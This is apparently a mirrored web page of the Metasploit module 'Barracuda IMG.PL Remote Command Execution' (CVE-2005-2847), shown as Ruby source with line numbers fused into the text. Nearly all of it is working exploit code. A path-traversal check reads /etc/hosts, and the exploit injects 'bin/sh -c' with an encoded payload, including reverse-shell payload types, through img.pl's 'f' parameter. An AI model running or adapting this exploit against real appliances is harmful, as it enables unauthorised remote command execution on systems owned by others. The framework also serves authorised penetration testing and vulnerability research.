Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/barracuda_img_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Barracuda IMG.PL Remote Command Execution',14'Description' => %q{15This module exploits an arbitrary command execution vulnerability in the16Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.17},18'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2005-2847'],23['OSVDB', '19279'],24['BID', '14712'],25['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556']26],27'Privileged' => false,28'Payload' =>29{30'DisableNops' => true,31'Space' => 4000,32'Compat' =>33{34'PayloadType' => 'cmd cmd_bash',35'RequiredCmd' => 'generic perl ruby bash-tcp telnet',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [[ 'Automatic', { }]],41'DisclosureDate' => '2005-09-01',42'DefaultTarget' => 0))4344register_options(45[46OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),47])48end4950def check51res = send_request_cgi({52'uri' => normalize_uri(datastore['URI']),53'vars_get' =>54{55'f' => ("../" * 8) + "etc/hosts"56}57}, 25)5859if (res and res.body.match(/localhost/))60return Exploit::CheckCode::Vulnerable61end6263return Exploit::CheckCode::Safe64end6566def exploit67res = send_request_cgi({68'uri' => normalize_uri(datastore['URI']),69'vars_get' =>70{71'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!72}73}, 25)7475if (res)76print_status("The server returned: #{res.code} #{res.message}")77print("")7879m = res.body.match(/YYY(.*)YYY/)8081if (m)82print_status("Command output from the server:")83print(m[1])84else85print_status("This server may not be vulnerable")86end8788else89print_status("No response from the server")90end91end92end939495